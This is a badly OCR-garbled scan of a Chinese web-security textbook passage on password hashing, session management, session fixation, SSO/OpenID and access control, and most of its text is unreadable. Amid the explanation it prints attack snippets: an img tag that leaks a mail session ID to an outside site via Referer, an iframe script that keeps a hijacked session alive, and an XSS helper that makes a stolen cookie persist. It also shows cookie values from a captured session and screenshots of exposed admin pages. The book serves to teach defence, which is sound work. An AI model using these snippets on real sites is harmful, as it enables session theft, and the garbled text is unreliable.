P AE I B RS B S AE ISR, W ios T s i A 2 4.

AR AR A o B B, ANIERBAR ), 1o g 255 114, bl 123456,
RJESEMEL T 4, BRI M 8 2 1K ke i T AR ATTIE R, Bl
F A LIS — G T A 10 7 i, AR A SRR O (R AR AR AR, 10 RCR A0 EE B8 ) BB 3 B 22 4
Rz .

I PR AF AT — LU R R . ROk UL LA UA TR I E S, RER
BRI REBEE, N EAEERIEET . XAHOE ) TR O e CRAIE 2 5 AL L
M2 Pl A BN B, thANRES B B I . EIRXAEOL T, BRERMEAR T Mt 3
T B R R, B JCVR R R A f ] S

2011 4F 12 J1, B s KIIT R & AEIX CSDN IR0 PEg: B AATEM F o & R,
CSDN K 17 (R 85 W W SCORAAAE R PE R, 3008 600 5 1™ (V0 i ettt ke o WIS ORAF SR 1K) i
FARHE, BEANG LR ANZL A%, 28R TR QQ. AN PRk, X
AP AEAE N AR 2 KB Ml SR LT v P Ak T U

4SO WA I (HoBn MDS 8¢ SHA-D FHRAZ SIS AE T, 2 FATL I e
S0 P AU 5 O 5 A L MRS, 6 S U T PR (DU
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AR AT L WA, SIRAAAEEER R RS e A 8.
H a1 V2 A H B —Fh i i MDS J5 %1 7kt “FUl% (Rainbow Table)”,

R M S WO S RT BE 22 (K03 G W SO SO I K] MDS B IXPE A 7 22453 MD5
B, mUAESRENZ MDS (A WIS, —NFRIRILER, ATRESARH N, (HXFEAM A
o RMLRIHESL, JERT LR I 55— 225l 10 MDS (i, LAy 7e AR I N 2

This is the new and improved version of md5 engine.Ifyou put an mda hash in it will search for it and if found
willl getthe result This is the beta 0.23 ofthis engine. You can see the gueue ofthe hashes here. Bots will run
thourgh the queue and use various technigques to crack the hashes.

Security question, please salve

i omel

‘ CRACKIT! ‘

The wvalue of 1d5920f4b44b27 a802bd77 c4f0536f5a resolves to -» google.com

—AMEALZUT R A K MDS B AR R

N TG RS A e, R RES FLRGE R R AL R A S A WIS, ARV SR AL S
RS A (BN, 90— “Salt”. “Salt” & — 74T, ERIMERDEN THIMYISCHI IR, I
REAAR RAMLR R B R AL

Salt [FAFH T -

MD5 (Username+Password+Salt)

M, Salt = abeddcbase-++ (BEHLFATH D

Salt N AZORAFAE S5 S PRI C B SO, IR 238 R

9.3 ZZAZFRIAIE

MPRZEERRGORYL, WERFATHE M FAETB, WL BRI EAL.
PIE o 7385 224k, K2 A0 EARAT AR b SOAPF & AR 2R FOUA FAIE B R 3 A IE .

be o [ B KRB S A B SO 52, R R 2 AN R R AIE T BL:

2 https://www.alipay.com
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© xH=a w3
© ELRPASE  GOBE I PRefPHD e
© REMAEH  EREN. eI EAS SRR R HE TR &=
© SENE FEATEAIEL SRS 1 S =E
© FusE EMEMTAL T 1367770026 wE
O FUHEOS  ATEHAKPARE RSB TS, 7@
© BFIES e
o =8 BARER—H ESHE0L, ARERATE SR, Hik
O XHE AESRFEHAHE , ST =
0 BSFEB ERIARES AR . BT = A BT RIS, E

ST 2 FHAUE TS 2

BT SIATERDSS, A4S BAER. 54 KAE. B =0E R T TR P
IR XA LT BT LS &, AR R I 22 4 SR AN A2 E— (AR
TBL A SRR OUN, ATl REAT R bRy K R 2 4

EASE NI N G DT R R R R U W S ST S S R e VS S NI 1
LG8 BRARAT Sy Wb D0 A P 25 e S R o BEAT SO A H I 2 2k 1 ) K
FUEAS . Bk, b TSR, BREATIER T REUT AN, A AR
ESEREAT, RS T B KA .

9.4 Session 5iAiE

WS BREET B, AU TR (Login) M. Gk5emi)a, i
A3t (8 T AN R REAE VR0 e 5 345 SR I I # FEAS PH SR AIE— e DA, e ezl s, i
it R B AR . X AMEIE, AL SessionIDo

M P RERSE, EIRSS A s G A2 (Session), 231l SR AEH
PRESFIAH AT S o IS5 A um 44 BT A {46 P (1) Session, WG RTAGIE, JUF5 EL%00E 2 WA -
FEX S T B LI RA AT o K T 5 VRS54 A% A8 B — A Session, 3 Y025 75 24 50 H P Fi
] SessionID 5 A1 Z5 %% -

iy WAL S 24 SessionID % 5 {47 4E Cookie ', [K24 Cookie 2xFfi% HTTP i3k
SkRI%, HA2ZR2I a8 PR ARy (S0 “piasze4” —3).
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Wame | Value Tomain Path | Fxpires

werifrrassicn BO0942 ££249:7445 F300TT S0HST £3912 £262 1 H0B455 17745 1bdd S T6aZ ££5:007 -~ | . qq. com / Seszicn

nin =0032750912 .aq. com / Seszican

sker Bp9BdzG 54 .aq. com / Seszicn

wrid 9T26635472 .aq. com / Eom, 19 Jam 2038 00:00:00 GET

ptisp = .qq. com / Seszion

| ptez 1£392:eda30011407 T6157339da0434n fe 04263992557 < 12531 FHc F1THI .aq. com i Sat, 01 Jam 2050 00:00:01 GHT

ptZeruin 0032750912 .aq. com / Thu, 02 Jam 2020 00:00:00 GET

pev_r_cookis 1142293824782 .aq. com / Eom, 19 Jam 2038 00:00:00 GET

prv_pvid 2129691820 .aq. =am f Kom, 19 Jan 2032 00:00:00 CET

prv_info ==id==8T0152787 .aq. com / Seszica

prv_flv 10.2 154 .aq. com / Eom, 19 Jam 2032 00:00:00 GET
f Ex, 12 Jan 2032 00:00:00 GHT

o_cookie 32750912 .qq. com

nnnnnnnnnn 1] M AT T Anaa anLAn.nn rwer

Cookie T{#FE M) SessionID

SessionID — HAEA: iy I N B ST, &5 1R) T k55 o [RII BT SessionID & /™ 85k
AR RAUESEUE, KB RATE R A G R (e, Eirh 24 Zn &
EIRBX—

Session HErEL 2 —FB ST EUH 7 SessionID J5, ¥ FH1% SessionlD &3k H ARk R B
ik, BB S bR FR AT T HARIK T AT 2K Sessions WIER SessionID & {477t Cookie
R, X AP A LAFRCA Cookie FEF.

Cookie it MR HIRZ, JWLEI‘VE XSS Yitiy W44 Sniff, LAMAHIARTGIIL. X+
Wik XSS IS Cookie E’jﬁ(—[ﬁ 145 Cookie #5id httponly, W LAARIMZEAE XSS i
Cookie 1] 7 . @%Em%yﬁﬁgbé, ELan 44 g R, 5% Cookie SCAF#EHIEL, WIS K
FPR RIS e Ay, FENK A T

SessionID [ T 0] PARAFAE Cookie H14b, i w] LARAEAE URL 1, 1EREKRKI— 1S4 H
ST ) A LA 2 5

TETFHUERERSE T, tH TR 2 TN 353 AN SCEF Cookie, [T LA BEFF SessionlD 14 URL
(1 — NS HH TINE . Z 25 kxlzx éé&‘ﬁﬁ% A TG WAP R sid it ER T
SEW AN . AR — N R s S T Referer i@ URL H111) sid, QQ [ WAP H4H
v g ok kY, R AR I R .

B, ROEF] QQ MSARAIMELE T I T R AN S ) P )«

<img src="http://wmnr. inbreak.net/logo. php™>

W, THUT AL ST 84T QQ HBAF I -

3 http://www.inbreak.net

4 http://www.inbreak.net/archives/287
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B B @ 225

«EE | E—3 F—#

Fw:test

EiEA G 2.0
m)

U4 A 1 4700012

iz : WXFE | @A
201152A138(813X) B £9:13

TEFHLH YT QQ HBAL
FHUN T A AEMATI i, SEBs Lo A TR GET 153K, 1IXAME R &7 L Referer.
Referer H){H H

bt w34, mail.gg.com/fogi-bin/read mail?
Sid=30000 4, MWW Bdisptype =htm B mailid =fdsafdsafdsafdsafdsa_dSa077SI0 128 t=Bcony=8p=8crm

Al LAE 2 sid S5 7E Referer ', 7E www.inbreak.net #4524 H & o nf LAAY & 2 HAH,
QQ HBAE ) sid HEEE T .
7 sid AR EIHI . Uik sid BEEE,  hnT DOS B P bsse .

e SessionID B, FFZBARIF R HIFENLYE, Holn R 2% am ) DsBENLECE vk . Bi
TEMI M TF R A, AR AR 22 B T A HE 2R mT DA R o 0K 4 Bl 3 (1) T b HE 28— e #1821t
Cookie B P, Session B HFIRAEL, AJ LAE FHIXLL R FO T E

9.5 Session Fixation &5

f14 & Session Fixation W¢ ? ﬁ**"?ﬂ%ﬁ’]fﬂ? B AR 4, AREG R4 T B,
B A JERA T ARAC B, EH O T 48, XEHEUUR B 83 4 4 HBiris,
A R AT DU BT R A YR A1

EANEES 87 MBI ZENS, Bt Session Fixation 175
FEH PO s Wt R il R H SRS ST A P I SessionID BT R AEARAK, W25 A7 /E Session

Fixation [A) %,

AR fe g, 1P X (s SEkINE— N RZEINIER SessionlD, 4R &KX A~
SessionID ZZZA Y ZHAE, Y SEMGAIEE, RSS2 IF AT HIL SessionID FIME (=AM
A% SessionID, M A& A KAL Session), HTLA X v DA H LA I SessionID sk Y HINK .

X Gnf A geil Y {# FiX A~ SessionID We? 4R SessionID fRAE{E Cookie #1, LA MEME]IX
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— ko HHF7 )2 SessionID {RA474E URL 1, W) X HFG 874 Y $77FX 4> URL BIA] . #£ 45
FEHM sid, WA LNFEFJE Session Fixation BLiti .

1F discuz 7.2 ] WAP A, BAAEIXFER— Session Fixation B il o

INIERTHY URL 2

http://bbs.xxxx.com/wap/index.php?action=forum&fid=72&sid=21iu2pf

Hodr, sid A TIMER SessionlD. H KA, 1XA™ sid %A KN, Kb B %A L
SR I URL, FEEMEHALH 397, S & i)n, Bahn] DL S URL #F
ANH K

fi ¥k Session Fixation FJIEFIfERE, HBRERH)G, ETG SessionID.

WIRAE A sid W75 2 sid (IE s Wi Cookie, W75 2214 ol 48 H F-UIE ) Cookie
o [EARERA, E45REH Cookie A& FLIEM 133, sid 17 XETH @k . 1o i+ ™
s ALORAFE 2] Cookie W ZR VY AR R 2, I P8 sk e, Wt — L8500 DR A7 21 DG B )
Cookie H, L&A — P LU P57« Session Fixation Bk [ 12 Hi -t mt A8 15 1Bk K bk
NT

9.6 Session (RIFINTH

R, Session & AT AN, M P KNRIAES) S, g P SER A, RS
A FE A5 Session. Session WHER —FLRRERRL, 2 FEUT 4 W ? {1 % 15523 Session #)
Fedts, JEBhE 7T ) SessionID, AT RERS S sk HEH K .

EUn SRS 4 R ELRFA AN 2001 Session CEG 1 A B PEHBIRBT BLIHT, LA VR IRSS A5 XA
TP ARAETG S, MRS A FIE 801 Session tH—E A0S, Bl whAgil i 2
Session — ELAE T K, O — AR “JE1T7

{H & Cookie B KA H], Session W] gEE I, Wi Ak AMIEFA X Session M ?

IR 224 session BB —ANHINI, MBLK AR, Session KA. (1
LRGP RRI%IE, REIRAPE “57, AR LA P 0 Session %
e AIMTBEEF A DUB R AME AR DT F 7&K, ik Session —H “¥&” T 2.

BRI kxlzx W25 FIL X R — AN, I LR ARG LREF Session:

5 http://www.inbreak.net/archives/174
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<scripts
 THRERFsessionfitidl.

war url=" http://bbs.ecshop.con/wap/index.php?sid=104L37";
window, getInterval ("keepsid()™, 60000 ;

function keepsidi){

docunent. getElenentById("ifranel™) . sroe=url+"stine="+Math. random() ;
'
<facEipts

<iframe id="iframel”™ src=""k</iframes

FCJ B AME HURDRT UT IR, LAPREF Session AL 3]

R REE EEN BEEO BEE IED EEH
Gr_g“' c b ¢ ﬁ ‘|_| filey///C:/Users/Administrator/Desk

|| files///C:fUsers...or/Desktopfahtm = | || files///C:/Us...%20-%2(

ECShopPJE SRR AT IIE IR

DRI 5

1M Cookie J& 1] PA5E 4 i1 8/ S il i), 3 A&7 A € X Cookie Sk HTTP £, i
SCOLFREIRCR -

YA enqging Y& TF KL —AN “SessionIE” AT H, HA ksl T Session IR
REF:

SegionlE- i __ B Elﬂ
&m Iwww. cncert. net
[ESsih I s

Ihttpiff'www. cocert. netfx: ¥SSCHidb* ;
[CrCerT %55CEERS«

13!]\—‘ ﬁ ﬂ'ﬁ%ﬁSgssion
[EEFE =]
I SFEsmE I s

[y

=]

SessionIE T2 [ JL 1
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RAE1G Cookie ANRA, AT LR HHTTE

£ Web JFR T, WSv7 ) s LK, 4EY Session T RES 45 W Sy R FOK I 6 dH
M, A PE, W RSS2 i AN 4EPT Session, T Session JEAE Cookie F N4 (- A7 43 %
ax V7 IR Ry, 2 B3 B Cookie, IS5 di i H i Zi# % Cookie BTG 24 /i H] /™ () Session
T o IXFE) Session WHAAFI LW ? 1R 22 B 2R Cookie ) Expire A% K421 Session
R I], IX e T Bk v ez Ml

Cookie ) Expire I 1] & 56 45 AT LA 2 P did2 i K o SLSOXANIN ), JHEZ R AT R, i
A REIRAF— IR A RLH) Session, T RS54 i A2 50 TR0 1 o

PL R ACHS 1 TavaScript 5230, 7F XSS Urili 54 Cookie % & Ak At 1

// ik—A~CookieA it H
anehta.dom.persistCookie = function (cookieName) {
if (anehta.dom.checkCookie (cookieName) == false) {
return false;

}

try{
document.cookie = cookieName + "=" + anehta.dom.getCookie (cookieName) +
" + "expires=Thu, 01-Jan-2038 00:00:01 GMT;";
} catch (e){
return false;

}

return true;

Y # H A n LIk Session Cookie 34— Expire 1], {8745 S A Ya 2% 5C P23 34
Cookie F AL PRAE(EANE, B f—N5E —J7 Cookie (third-party cookie).

WA X PLIXFP Session (R FF L IE ?

W WAL RAE— RS, SR8 Sessiono IXANI ] R LA MHH P8 sk R i () S0
BOE B, e 3 K5 AR Session i .

{HSR A 5% Session ] A2 sl B —L 1 E R 1 H /7, vl LGS i 2 2 7 & i K
AN, BESR ] BB sk, LW ) TP. UserAgent 2645 BUR AR T84k, wlml LU B4
B HT K Session, JEESR A E BB

I, TG FE L A — F P AT LRI J LA 2K Sessiono A5 8EANH PR il —
/™ Session, N HAHEE — HARFE 4 Session WA KATRENT . 4 TR RE RN, Bl
JIT{RFEIY) Session W4 “BiH 7.

9.7 BAIER (SSO)

PRSBSOS FR S Single Sign On, fAjFK SSO. ‘B SEMF R EEF—IK, #HalLl
Vi T RS0 WHPARR R FEF , SSO JoSE ik FH - A i 77 N2 m M,
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SSO R HAEH A L, IXAE O A A B o

SSO AL mAET MBS AL, WU BRI IR il WERLIEREAS R G A SEELE R
A, HT&RGER7 TRk NMHFEL. IR LR AP EAF 225, SRk DIRE e hrif
HMELLGE—. TSSO i T IXANWE, B ki R e — AT . AR SR B %
fJ7 %, HERW LB L ' MJ5E, IR E AR, tRAM T2 N ok
Ul dE A SRR RATR R BT, P LR e A TARZAES AT
fRAEIIEE =T7, wn] LURERS A ek 55 b

SSO [ A U RE BRI, DR R T, BT LB OR T, o S A 7
SO 9 PRS0 BT A0 T o A B M R e RGP KR AR R IS R, 75
S SERAMAE L. A SR, 2T R PR — KT,
S WU S

H LI R e oA FFTBORIARA T 1) B 8 SR R 4842 OpenlDo OpenlD s — N R I8 B 206 5%
HEZE, B A AT URLVE D H 7 BIEM ER S bni, SN (End User) KA — A0
—H) URL. fEH P8 Mk (Relying Party) i, P R T EEAC A0 OpenlD Ot & FH /- i —
HJ URD) LAX OpenID HI$E4:# (OpenID Provider), PHufisit <45 H 7 3 5€ 7] 2 OpenID 24t
FHATIANIE, TAIE 58 RS T 3 5 ) 1] Rt

OpenID FAUEGAE AT LA T KA

End User Relying Party OpenlD Provider
[USER] [SITE] [OPENID SERVER]
1
Visits——»|
P 2 OpenID
Login Page
3 Logsin
[— Using OpenID —]
Identifier 4
:D Normalization
5
Discovery
6 Association - As sociation is made if the client can store
7 o state. Otherwise, association is made
¢ Association on the fly during the Request
Handle I Authentication phase, and must be
| 8 Request verified with a following HTTP request.
Authentication [
< 9 Potential User
Interaction(eg.login) ———————
Authentication
Response —
Authentication — HTTP GET/POST —p
. :) response is
User is 12 verified HTTP/FORM
| authenticated __| —|Redirect >

'l' with:i)t(;emal 13 —|—

OpenlD AR 2
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{EA ] OpenID B, Z5—02 [l W24t OpenID.

Sign in with OpenlD whatis openin?
| | bobsmith2000.myopenid.com

[Sign inj

B, MuiE R OpenlD FEALE VAT G4 AIE, EAFITH OpenID FIHE{LE &

myopenid.com.

A site identifying as http://runlog.media.mitedu/openid has asked us for confirmation that |
http:/ /bobsmith.myopenid.com/ is your identity URL.

runlog.media.mit.edu also asked for additional information. It did not provide a link to the policy on data it

collects.
Select a persona: [work =
work
edit
Nickname Bob
Full Name Bob Smith
E-mail Address bob.smithi@gmail.com
[ Allow Forever || AllowOnce || Deny |

What exactly do these buttons do?

OpenID LA RAFAE 2L . OpenID fFEHEH IS5 BA =A%, 154 OpenID
e, — HR T R 55 i DG AL, R T A RAR R AN DRI H R 20 X 2l 758K
FEARVE I OpenID, 1M A DU AT Ay — bl B sl m] 3 ) 8 S A 2, JX At R T OpenID

98 NG

AT T IAEANSC R LA . AIEARRAE “Who AmI? 7 L, EHUR > s1H
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MIRTT—FE, RARF RHER Y.

WIERTBUE 2R LR T, B 78] U TGRS, AT IR 28 AR S
SN R P O P NRCARIDR R (S U N INTIRS B E SR Y VNS E S INTIREE TS NI DD iR
iR L AR .

& Web WYY, PGSR )G, IR ds il i 2 dE L — A8 Session LARRERH A PR
A Session X} N MR IRTET SessionID, SessionID FSKHR R 7 S 457, — %2 I AR AEAE Cookie
o AR 20K Session fRAFTE Cookie H, DATREE A SS #ii 4E4 Session Mk 1. FlSed
Session W HE£s ™ AR 22 22 A [ {0, 3X 8 ) A0 A0 v 22 A T SN T B TR R 1Y

AREM R T RS, DURERKIN g8 kS8 OpenlD. HLni B ATRIATHE, (H
B & PRI IS HIXSEOR, 0 Wil (1 22 4 A 2 A7 R AL 1)



s 10 =
W all=l kA Sl

R IRE A U DL AR AR . B SR B Rl “RED) e X TR G
HPRG, — A AR P AL )

B BRI ScE 3G T2, IR AR A “ Dy il AR . AE TR %

AR, JUHIE Web et “BORRFEHI” (1 R BUES AT LA S0 < DT P i, X
Fofrfif At SR A — 2%

10.1 What Can I Do?

FE F—, 185 H “IAIF (Authentication)” 5 “3%#4L (Authorization)” f{J/AR[E]. “IA
UE” P T “Who am 127 [P, T “FA” MIfFEPL T “What can 1do?” ¥ 10] 8.

BORRFEH], s v Eh], TN TEANRGE T . i, #REAEE (subject)
FTEANZEAL (object) FHESLHFEFFERIE (operation), T RGN IXFHERAE PR HIBt A PR 12 H] .

MR, A TARYP RS BRI Z 4, — eI i & e b ks 3+ 1P i
WP e AP PSR “ EAR” JEMEHERRAER T (Lbii—& PC), “&R” EMEIEK
PN CEeln— & RS #8), BARXT AR “HRAE” X5 AR HE A i L R 4507 K . X
MEERE B PTG, BB kB ACL SRS BRI

B 2k B A0

@ B EHRIARA.
e (1
L] L]
CEIE %= Bm B oose
[ TCRIUDP | LA net e Befauk LAN -> (Glo]
EEEEE— Ay s <OM @
A e LaNnet 53 dns query
(ohs) @g
= TCRfuDe | 223.223.223.224027 | * * -] M- EE @O
= i E 2254 ®
[ TCPfuDP | 223.223.223.203 | * , . 203 dasneware (clo]
server ®
@
®@®
A X Bk B ] 1 B

it (%) Ik () 1588 () BE

5 <k 5% () ACL SEm& TRiAR
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TERRAERGE D, X SCPER UG ) AT s 42 . BRI “ 24k R RGHHI, “BAAK7 28
Vi SCrE, REE TR Tl R iRt R4 R BCEN ACL (U514 g, HlndE
Linux RZEH, — DI RABAT RS 0“8, “5 70 “$dr” =M, 200m roowe x &
o JX MR IRII X NAT = AR SCHRIAT S . SO e 4 S
L AR BARIX =F RN DR R, MK T DT IR P8R .

2% whoani

Linux P SCAEAUSR

£ NRERGH, HE ARG AR R, Tt Mo, 23k
FOEFITE RIS G o A2 LA B ARIAT AR R, RGEEEHI EAARARE “ToPR]” Mook & 44
BEATERAE, XA ERERE “Ur R

TR CREMMT A7, WU . BURAT LGN 7 AN R I E S (capability). £ Linux (3¢
PERGE, BRI R T “B7 57 CRATT =R EE . R RTREREANSCIIAT i 1
BB, AREIRAT “57 HIRLR

£ Web IR, AR U7 ) B AR RO AN ], 1 LR U7 )42 0 m] L2356 T URL V5 4256
“ILTIrik (method) FRIVS IR A “ BT Hdls i) Uy 1) 271 7

ORI, “HET URL (U5 4507 5 W . SN “ kT URL 151
47, EFEET Java [ Web W, o LA —A filter SZEL, WR:

// FRECUE H ShRE

String url=request.getRequestPath () ;

// FATAL RS AE

User user=request.getSession().get ("user");

boolean permit=PrivilegeManager.permit ( user, url );
if( permit ) {

chain.doFilter ( request, response );
} else {

// T LARE B Sk

5 AR AESRBAIN , Ui ? BATE G B IRX L RS MBI, XL ApK B i85

V-4 WooYun!s

R 53356 5 5 5 BT AP R AR BV IR, 3 B m] LASHRL B Oty H 2%

1 http://www.wooyun.org

2 http://www.wooyun.org/bugs/wooyun-2010-0788
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/[ woo¥un.org # |\ [ Woovun.org | B .. | [5) mER
€« Cc # @jlemu.ifeng.gom!ifgngepgwebM/EPGImportz.aspx

-

[ s O web (] webshell () domsin (7 Soogle ] Google B SpookzanG 3 Google &

BEER HHPEEZAN
[2010-11-T 23:59:00
10-24 23:53:00
~25 1:00:00
~26 1:00:00
Iﬁﬂ [ 4616 1)
i B EiEE 2010-11-01 06:30:00
2 CES-1] 2010-11-01 07:00:00
3 FES EERERS 2010-11-01 07:25:00
1 R IR 2010-11-01 07:28:00

W53 3 1 )
mop Jii & 5 B R G A AL 17

6 @ Q ‘5 @ ﬁa(i) @ G)[E http: //adsupport. mop. com/apps/mmning fadmiz

REFH B BEOEW RE Em
oW - APEH DFERE BFABHM () Cordl on | Lindw ) IEETH ) EE Q0

Iﬂ T, org | RATRA %/ g EsEE x

Bpat: T £

+ MABE [~ 327454 729211284 TER *

¥4 5 353 il I B AP AE AR By i)

@ - @ hitp: ffrainbowlife 163, com/adninfarticlelnfo. php?channel=choow E“EJL
THE @BE FEY BWALN TAD EHo
e e | oy [ i -

& http:ffrainbonli fe. 183, con/adninfarticlel. .. I ’ - "

Deprecated: Function session_is registered() is deprecated
in /homeZ/wew/minisite/2007/0423/rainbowlife/admin/admwin. inc. php on li

Warning: Cannot modify header information — headers already sent by (output =
at /home2/uwm/mind site/2007/0423 /rainbowlife/adnin/admin, inc. php:3)
in /homeZ2/www /minisite/2007/0423/rainbowlife/admin/adwin. inc. php on li

FALHH S FRVSRE PILEEE BIEAR ZREA Efors
s
£S5 (BT [ |
sme: [
[

EPE i wilib)Eys)

3 http://www.wooyun.org/bugs/wooyun-2010-01429
4 http://www.wooyun.org/bugs/wooyun-2010-01352
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i 6 104 50 3 P R DT AHAL 7 )

Mg special kb comy Terw_joy 3/ aderinphp - Microsolt Internet Explorer

Bla £ Yew Fportesn Lok et
Qe = 3 - [ (2] 5] S Search i Pavertes 8 e - L) o B
Ao [ pitn ispeial s comibeves_joy3adin cho

[eom T [t iz 2 0] EEWE
sa7 - = 20110107 1555 yackadang 1806583 W
526 2011-01-07 1553 yaokadang 10806388 e
ke comipossl] 16 himl
525 B seo. ERETETETEL 20010107 1551 vavkadang 10806588 g
524 dddd 2011-01-07 1541 kal 10508536 il 154
7F] i 2010-17-08 1200 AEER 5746148 EEE
522 R 2010-08-17 1545 singaeg 9475357 ilres
521 e [2010-08-17 1537 nngeg 5475357 B
520 Fay 20100802 2024 holly 9376341 INeE
1w EERE [2010-07-30 20,03 ERLE 1669325 B
S18 1EiR. SR 2010-07.22 1219 LB JI46T29 1N reE
517 EMWOS R RE BEAEINFE 2010-07-19 2255 i 9231253 I
516 BN, (IE8H B bow.or19229 iR 9231253 WA
515 it | 20100719 1513 Ll 9273519 L
414 111 2010-07-19 1439 2o ] EEE T ER T
(] ME——EMWE [2010.07-19 0045 Pt 0276745 g
51 G il 2010-07-18 2330 Lk GEINEET ol 154
s =X WS 12010-07-12 2244 el 9239633 fei1id
510 EF MW SREE 2010-00-18 2002 L] 239633 v 1574
s =X pMwWSH [2010-07-18 10:52 5l 9239633 LT3
S8 B R sREE 2010-07-12 1046 it 93633 sl 5574
iso7 ¥ pawWERRE [2000-00-12 1039 5| 0230633 B
506 BHTHE. 8 2010-07-17 2324 FRIEM 9277163 i 564
505 B | [2000-07-17 2245 L 33 9276692 EE
54 - — LA 20000717 2224 FiEE 9276745 i 41 854

Wil el R52TH|ccx < 12345678 > 222

It 6 M e 6

FEIEFEOUT, RS 6 1 DU N2 U B A RERS U In) o (ELX LS AR GEAKT 7 U5 ) A
BRAEATHRN, FEUEEH R EMIE T IR URL, SR U7 i) 23X L4 0T .

FEIEFAEOUR, IR A BT 2 AN BRERL B AT & T R, R IC R AN %44
KA. HRUFERPEIE ‘B 2R, HFARMRIDBHIIrE. BtF B
PR B RS TR Jn G AR 7 I, JEIXLE “H” R A BT ok Phlnn B 4 4
Zpid, A3 ANHAEHE URL ST “admin” IXFEMBURIA . 1] “admin” XA, 2R
SRCFAEAEAT BB 7

(EIXEER BT, LSSV EEm LA LT OU U7 ), AR R T
TRA TR T B R R
102 EEEHWNRERE

Vi ) P ) S B b g r F P SRR 2 ) S N R &R, BAER T V2 I —FP sk, i “3E
TV ¥EH (Role-Based Access Control)”, fajfk RBAC.

5 http://www.wooyun.org/bugs/wooyun-2010-01085
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A e BB

RBAC HSeoAE ARG e SUHANFI L, AR A i AR BR, — A taschs b
o MRURIEER . RSN PrA T Mg BB R A G, AR e 24
fte, M RIRZ 7 B AR FE RS UEABRIN , R SE0uE 1 ™ P s i £ €,
SR T LURE 1240 C T A IO PR IEAT AL T

Spring Security® 1 A PR FE, /& RBAC B[ AN52HL. Spring Security 5 Spring
MVC HEZE, "EHT 5 & Acegi, & BEHRAAIMIN Web 2R ¥ J7% . 1 Spring Security H14¢
HETIMIE. BREEINRE. 761X BLFRATTH 5G7: Spring Security AL fE

Spring Security #{ T — R 5 “Filter Chain”, /%2 4Ky 7% 1) 2 i #6 A48 A (XA
BEZ R 7615 Web RSN, TFR 4 JU7 B0K 7 43 117 4K 119 URL #53] A %] Filter Chain
G

Spring Security $& it MR 7, o2 “IET URL vy e ”, —fg “5ET
method U7 ¥ 7. IX PRSIl 32 IS RBAC AR SEBL, #0352, 7E Spring Security H
HOEI R P TR A e, DL & R

ST “HEF URL V5 i) 4546”7, Spring Security £ G & SC2EXS Vs i) URL R P A PR EA T
BEE, WH:

<sec:http>
<sec:intercept-url pattern="/president portal.do**" access="ROLE PRESIDENT" />
<sec:intercept-url pattern="/manager portal.do**" access="ROLE MANAGER" />
<sec:intercept-url pattern="/**" access="ROLE USER" />
<sec:form-login />
<sec:logout />

</sec:http>

AN URL ST fig U i) e (1) 1 (AT 5 AN R 2K
Spring Security 13 HF “HeTRA Ty P17, IXAE AU e 4 i 1) 7 B I R

<http use-expressions="true">
<intercept-url pattern="/admin*"
access="hasRole ('admin') and hasIpAddress('192.168.1.0/24")"/>

</£;;p>
M “2T method )5 014”7, Spring Security WIEAFH Java IS, 20 HlAE 7% H
HU R 5 S 4241

6 http://static.springframework.org/spring-security/site/
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PN SCA P B A AR
<global-method-security pre-post-annotations="enabled"/>
A8 05 0 e AE A A X

@PreAuthorize ("hasRole ('ROLE USER')")
public void create (Contact contact);

AR T

@PreAuthorize ("hasRole ('ROLE USER')")

@PostFilter ("hasPermission(filterObject, 'read') or hasPermission(filterObject,
'admin')")

public List<Contact> getAll();

H8R Spring Security [FACPRE BT g A& oA, (H e 2 —ANMEEL Rl ft /] P RS E,
PRI R SR RIS, 0 2 T8 e B S A R o iy E B SO 2%, 22 2 AR
i, YES A AR

BT Spring Security #&, £ PHP [{i4THESE “Zend Framework” "1, 4 H[¥) Zend ACL"5:
LY SO RLA R A R 2

ANIF)T Spring Security 15 I HC B SCAHE B, Zend ACL #2512 API 2 AL FRAESE o
HseH 7
Sacl = new Zend Acl();
Sacl->addRole (new Zend Acl Role('guest'))

->addRole (new Zend Acl Role ('member'))

->addRole (new Zend Acl Role('admin'));

Sparents = array('guest', 'member', 'admin');
Sacl->addRole (new Zend Acl Role('someUser'), Sparents) ;

Sacl->add (new Zend Acl Resource ('someResource')) ;

Sacl->deny ('guest', 'someResource');
Sacl->allow ('member', 'someResource');

echo $acl->isAllowed ('someUser', 'someResource') ? 'allowed' :'denied';

RCRR A BRI S IV 55 T SR f— AN ), SR M 55 B AN R] 5 SRR SEBIAN 7] A A BR 47
Mo IR Z K, REHMTEEE CEfRRE . el AR R B RS, Ak
RBAC BAE R4 o

XFPEET A AR B (RBAC B, FRATTAT ARRZ O “ 3 A R4S 2,

AR E O BRAT e IRZ 20 o i BUBR S U A PR A (5 PR BRI AEAE 2 R SC VRN, T ARAR
B 7 €507 ) g A PR A € AR B A AT B A8 1 B SR AN A TR R A g ] sl e — 2677735

7 http://framework.zend.com/manual/en/zend.acl.html
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AENE AT BRI RE S, WA AR T AL 1) 7,

FERCEAPRIN , WA« /MR IS 7, FRAE “BRIIRZE” (skng,  FORAT 5 20
TARRIECE “ SeVF” SRS . IXAEAR 2 IR RE S JE A 2B BB ) 7

10.3 IKENPREBIR

75 AR ER BB BRA BIL SR — N5 3K, Mk 52 s 2 AR, B4 5 ARG B
KT HINE? B AIETER . FATE LA LA Z B

DB P A s 7] A & (IR Z%5 wooyun-2010-0129)

FP s A T RGE I L7 s A A BoRAE S A GBSO ik 50y id BPRDD,
RS AN LA

http://u.youku.com/my mail/type read ref inbox id 52379500 desc 1? rt=1& ro=myInbox
List

http://u.youku.com/my mail/type read ref outbox id 52380790 desc_1? rt=1& ro=myOutb
oxList

http://u.youku.com/my video/type editfolder step 1 id 47747042 rt=1& ro=myPlaylistL
ist

Wi 23 Hr: URL 280f rewrite oK ZE0Wif i URL 4%, (HIZIFAGRHEE S id
RSEBIGT . AEX L, id ACRTEIEIME 2 5, DIl B0 id, sl RECSA 200 il A BE . 1T
DU P AR B AT R A X S B 5 R T 4w

SRARA W 0 PR s AR 7 ] () (URTA4R S wooyun-2010-01576)

KA WP R b A8 P EAT B PR 2 ), 3 i A2k URL FP ) id Z BRI W] 25 %Y. id 1
AN HiHE SRR AAE B

"http://www.laiyifen

BRI N U BRI e
I o3 A FIRER, id 2 A e bR, Bd BV Sl i i F ks . Wk & R O F
ARJNWrBH LA 8T i

MIXPA BT R BATAT G R, U5 T AN s A EdE. 1 A SR B Al
#JE TNt RoleX, HAEH™ A S B #4%% AHIA Lo 8, EEFRKL T, M
HA T A CAREVI R A IR 2 -
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{HIEAE RBAC XF “FEFMEmvim#Es” BT, RENSBIEHP A 208 Mt
RoleX, AL HIWIH T A 2 Revi A HE T H P B f%dE DataB, Kk, KA T BB
KPP, AR R AP AN PR A H [) L7

[ |
|
RoleX
